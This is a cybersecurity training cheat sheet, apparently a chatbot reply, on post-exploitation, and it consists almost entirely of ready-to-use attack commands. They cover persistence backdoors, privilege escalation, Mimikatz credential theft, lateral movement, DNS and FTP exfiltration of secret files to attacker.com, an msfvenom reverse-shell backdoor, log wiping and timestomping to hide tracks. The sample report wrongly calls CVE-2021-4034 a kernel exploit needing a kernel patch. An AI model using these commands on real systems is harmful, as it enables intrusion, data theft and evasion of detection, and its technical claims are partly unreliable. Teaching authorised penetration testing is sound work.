Complete guide to maintaining access, privilege escalation, lateral movement, and professional reporting.
Post-exploitation refers to actions taken after gaining initial access to a system. The goals include:
Registry Keys (Run keys, Startup folders)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\malware.exe"
Scheduled Tasks
schtasks /create /tn "UpdateTask" /tr "C:\malware.exe" /sc hourly /mo 1
Service Installation
sc create "FakeService" binPath= "C:\malware.exe" start= auto
Cron Jobs
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab
SSH Backdoors
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
Modified Binaries (LD_PRELOAD)
echo "/tmp/evil.so" >> /etc/ld.so.preload
Token Impersonation (Rotten Potato)
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
DLL Hijacking
copy evil.dll "C:\Program Files\VulnerableApp\legit.dll"
Unquoted Service Paths
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows"
SUID Binaries
find / -perm -4000 2>/dev/null
Kernel Exploits (DirtyCow, Sudo Baron Samedit)
gcc exploit.c -o exploit && ./exploit
Sudo Misconfigurations
sudo -l
Windows
mimikatz "sekurlsa::pth /user:Administrator /domain:corp /ntlm:HASH"
Linux (SSH Key Abuse)
ssh -i id_rsa user@192.168.1.100
tscon 2 /dest:rdp-tcp#0
Invoke-WMIExec -Target 192.168.1.100 -Command "whoami"
HTTP Upload (Python Server)
python3 -m http.server 8000
DNS Exfiltration
cat secret.txt | base64 | tr -d '\n' | while read chunk; do dig $chunk.attacker.com; done
zip -P "password" secret.zip secret.txt
Windows (Clear Event Logs)
wevtutil cl System
Linux (Delete Auth Logs)
echo "" > /var/log/auth.log
(Get-Item "C:\malware.exe").CreationTime = "01/01/2020 00:00:00"
| Tool | Purpose |
|---|---|
| Mimikatz | Credential dumping (Windows) |
| BloodHound | Active Directory mapping |
| Cobalt Strike | Advanced post-exploitation |
| Metasploit | Automated exploitation |
| Impacket | Lateral movement (Linux/Windows) |
1. Executive Summary
- Critical vulnerabilities found: 3
- Risk level: High
2. Findings
A. Privilege Escalation (Critical)
- Description: Kernel exploit (CVE-2021-4034)
- Proof: 
- Remediation: Patch Linux kernel.
3. Conclusion
- Immediate action required for CVE-2021-4034.
1. Dump hashes with Mimikatz:
sekurlsa::logonpasswords
2. Create a backdoor:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe > backdoor.exe
3. Exfiltrate data via FTP:
(New-Object Net.WebClient).UploadFile("ftp://attacker.com/secrets.txt", "C:\secrets.txt")
⚠ Always get written permission before testing.
⚠ Do not exfiltrate real customer data (use dummy files).
⚠ Follow responsible disclosure for vulnerabilities.
Post-Exploitation & Reporting is the part of cybersecurity Training
🚀 Want a sample penetration test report template? Let me know!